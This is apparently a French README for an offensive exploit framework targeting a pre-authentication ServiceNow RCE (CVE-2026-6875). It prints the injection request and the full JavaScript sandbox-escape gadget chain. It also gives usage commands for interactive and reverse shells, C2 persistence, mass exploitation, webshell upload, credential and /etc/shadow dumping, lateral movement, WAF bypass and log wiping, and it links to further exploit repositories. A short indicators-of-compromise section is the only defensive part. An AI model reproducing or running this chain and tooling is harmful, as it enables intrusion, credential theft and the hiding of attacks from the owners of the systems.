
CVE-2026-6875 Framework RCE Pré-Auth ServiceNow 🔥 Injection JS → Évasion de sandbox → RCE → Root. Fonctionnalités : --detect, --exec, shell inverse/interactif, traitement par lots avec threads, contournement WAF, persistance, mouvement latéral, extraction d’identifiants, exécution sans fichier, nettoyage des traces. 🛡️ CVSS 9,5 activement exploité. Utilisation autorisée et légale uniquement. Restez légal. 🔒

Framework d'exploitation et Vérificateur sécurisé
Pour les tests de sécurité autorisés uniquement.
Cet outil est fourni à des fins éducatives et de tests d'intrusion autorisés uniquement.
Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce logiciel. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent d'une autorisation écrite explicite du propriétaire de la cible avant de tester. L'accès non autorisé aux systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois similaires dans le monde entier.
En utilisant ce logiciel, vous acceptez :
⚠️ AVERTISSEMENT : Cette vulnérabilité est activement exploitée dans la nature. Une utilisation non autorisée peut entraîner de graves conséquences juridiques.
CVE-2026-6875 est une vulnérabilité critique d'exécution de code à distance sans authentification (RCE) dans la plateforme AI ServiceNow (anciennement Now Platform). Elle permet aux attaquants de contourner le sandbox des scripts et d'exécuter des commandes système arbitraires avec les privilèges de l'application ServiceNow.
Injection JavaScript : Le point de terminaison assessment_thanks.do accepte un paramètre sysparm_assessable_type. En préfixant la valeur avec javascript:, un attaquant injecte du code JavaScript arbitraire.
Évasion de sandbox : Un gadget sophistiqué d'évasion de sandbox (enchaînant DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor et Class.create) lève la restriction du sandbox JavaScript.
Exécution de code à distance : Le code Java injecté (via java.lang.Runtime.exec()) s'exécute avec les privilèges de l'application ServiceNow, permettant un compromis complet du système.
Élévation de privilèges : Les modules post-exploitation tentent d'élever les privilèges à root via des mauvaises configurations sudo, des binaires SUID, des tâches cron modifiables ou des exploits du noyau.
exploit.py)L'exploit complet armé enchaîne l'injection JavaScript et l'évasion de sandbox pour réaliser une exécution de code à distance, avec des modules post-exploitation avancés pour la persistance, le déplacement latéral et l'exfiltration de mots de passe.
verifier.py)Le vérificateur sécurisé effectue une détection non intrusive de la vulnérabilité sans exécuter de charges utiles nuisibles ni apporter de modifications système.
pip (pour la bibliothèque requests)pip install requests urllib3
[!NOTE]
exploit.pyn'utilise que la bibliothèque standard pour les fonctionnalités principales ;requestsn'est requis que pour la fonctionnalité--detect, les notifications--webhooket le vérificateur sécurisé.
verifier.py)# Single target verification
python verifier.py -u 192.168.1.100
# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# Mass scan from file
python verifier.py -l targets.txt -o results.json
# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q
# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60
# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc
# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp
# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean
# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090
# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass
# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls
# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
⚠️ Important : Les instances ServiceNow Cloud sont automatiquement patchées. Cette vulnérabilité affecte principalement les déploiements auto-hébergés.
La vulnérabilité réside dans le point de terminaison assessment_thanks.do, qui accepte un paramètre sysparm_assessable_type. En fournissant une valeur commençant par javascript:, la plateforme évalue le JavaScript suivant dans le contexte système.
Point de terminaison vulnérable :
POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')
Le code injecté est initialement confiné dans un sandbox. Cependant, en exploitant la chaîne suivante :
javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
Le sandbox est contourné, donnant un accès complet aux classes Java telles que java.lang.Runtime.
Recherche des fichiers .properties, .xml, .conf pour les mots de passe, clés API et secrets :
/opt/ServiceNow/conf/*.xml/var/log/ServiceNow/*.log/etc/passwd, /etc/shadowInstalle des portes dérobées via :
*/5 * * * *), services systemd, clés SSHschtasks), clés de démarrage du RegistreScanne le sous-réseau local pour d'autres instances ServiceNow ou hôtes SSH, réutilise les mots de passe découverts.
Compile une classe Java à la volée, la charge via ClassLoader et l'exécute en mémoire (aucune écriture sur disque).
{/*comment*/})\u0077 pour w)ne\u0077 pour new)Recherchez dans vos journaux ServiceNow :
extraweb_access.log – requêtes vers /assessment_thanks.do avec sysparm_assessable_type contenant :
javascript:DiscoveryFunctions.getCacheObjectForTableAbstractAjaxProcessor/var/tmp/ (ex. shell.jsp, scripts .sh)/etc/passwd, /etc/shadow ou ~/.ssh/authorized_keys modifiéscrontab -l)/etc/systemd/system/)/bin/bash -i, nc, curl, wget, python -c)[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework
[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit
[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
| Attribut | Valeur |
|---|
| 📅 Découverte | 1er avril 2026 (Searchlight Cyber) |
| ⚠️ Score CVSS | 9.5 (CRITIQUE) |
| 📋 CISA KEV | Ajouté le 13 juillet 2026 |
| 🎯 Produits concernés | Plateforme AI ServiceNow auto-hébergée |
| 🔄 Versions corrigées | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| 🔓 Authentification | Non requise (Pré-authentification) |
| 🌍 Exploitation active | Confirmée dans la nature (juillet 2026) |
| Fonctionnalité | Description |
|---|
| 🚀 Injection JavaScript | Injecte la charge utile via le paramètre sysparm_assessable_type. |
| 💻 Évasion de sandbox | Contourne le sandbox des scripts ServiceNow pour exécuter du code Java arbitraire. |
| 🔐 Shell interactif | Génère un shell actif avec prise en charge de multiples commandes. |
| 👑 Élévation root | Vérifie les mauvaises configurations sudo, les binaires SUID et les tâches cron. |
| 📁 Opérations sur fichiers | Téléverse des webshells, lit/télécharge des fichiers via encodage base64. |
| 🌐 Scan par lot | Exploite en masse plusieurs cibles avec du multithreading (drapeau -l). |
| 🎯 Détection sécurisée | Drapeau facultatif --detect pour une vérification non intrusive de la vulnérabilité. |
| ⚙️ Contournement WAF | Techniques d'obfuscation intégrées pour contourner WAF/IDS (6 techniques). |
| 🧩 Persistance | Installe des portes dérobées cron/systemd/schtasks. |
| 🔍 Déplacement latéral | Scanne le réseau local pour d'autres hôtes vulnérables et tente une propagation SSH/SSRF. |
| 🧹 Nettoyage des traces | Supprime les journaux, l'historique bash et les pistes d'audit. |
| 💾 Exécution sans fichier | Utilise Java ClassLoader pour exécuter des charges utiles résidant en mémoire sans écriture sur disque. |
| 🔌 Serveur de rappel | Serveur HTTP intégré pour recevoir la sortie des commandes (optionnel). |
| 📢 Notifications Webhook | Envoie les résultats vers une URL personnalisée (Slack, Discord, etc.). |
| 🪟 Multi-plateforme | Prend en charge les cibles Linux et Windows (cmd.exe / PowerShell). |
| 🔒 Thread-safe | Utilise des mécanismes de verrouillage pour les opérations concurrentes. |
| 📊 Détection de version | Détecte la version de ServiceNow (Zurich/Brazil/Australia/Yokohama). |
| Commande | Description |
|---|
exec <cmd> | Exécute une commande système |
upload <local> [remote] | Téléverse un webshell sur la cible |
download <remote> | Télécharge et affiche le contenu du fichier |
privesc | Tente une élévation de privilèges |
reverse <host> <port> | Envoie un shell inverse |
dumpcred | Exfiltre les mots de passe des configurations ServiceNow |
persist <host> <port> | Installe une persistance (cron/systemd/schtasks) |
lateral | Tente un déplacement latéral |
clean | Nettoie les traces (journaux, historique) |
memory <host> <port> | Exécute une charge utile Java sans fichier |
exit | Quitte le shell interactif |
| Fonctionnalité | Description |
|---|
| 🔍 Détection ServiceNow | Identifie les instances ServiceNow via plusieurs points de terminaison. |
| 📊 Détection de version | Détecte les versions spécifiques de ServiceNow et les niveaux de patch. |
| 🧪 Test d'injection JavaScript | Teste la vulnérabilité d'injection en utilisant des charges utiles sûres gs.print(). |
| 🔒 Test d'évasion de sandbox | Vérifie l'évasion de sandbox sans commandes destructrices. |
| 📈 Score de confiance | Fournit un pourcentage de confiance (85‑95 %) basé sur les preuves. |
| 📋 Sortie JSON | Exporte les résultats au format JSON pour les rapports. |
| 🔄 Scan de masse | Scanne plusieurs cibles avec support du multithreading. |
| 🎯 Non intrusif | Exécute uniquement uname -a bénin pour les informations système. |
| Version ServiceNow | Versions vulnérables | Versions corrigées |
|---|
| Brazil | EA, GA | Patché (post‑GA) |
| Australia | Avant Patch 2 | Patch 2+ |
| Zurich | Avant Patch 7b, Patch 9 | Patch 7b, Patch 9+ |
| Yokohama | Avant Patch 12 Hot Fix 1b | Patch 12 Hot Fix 1b, Patch 13 |
| Autres versions | Inconnu | Consultez l'avis officiel |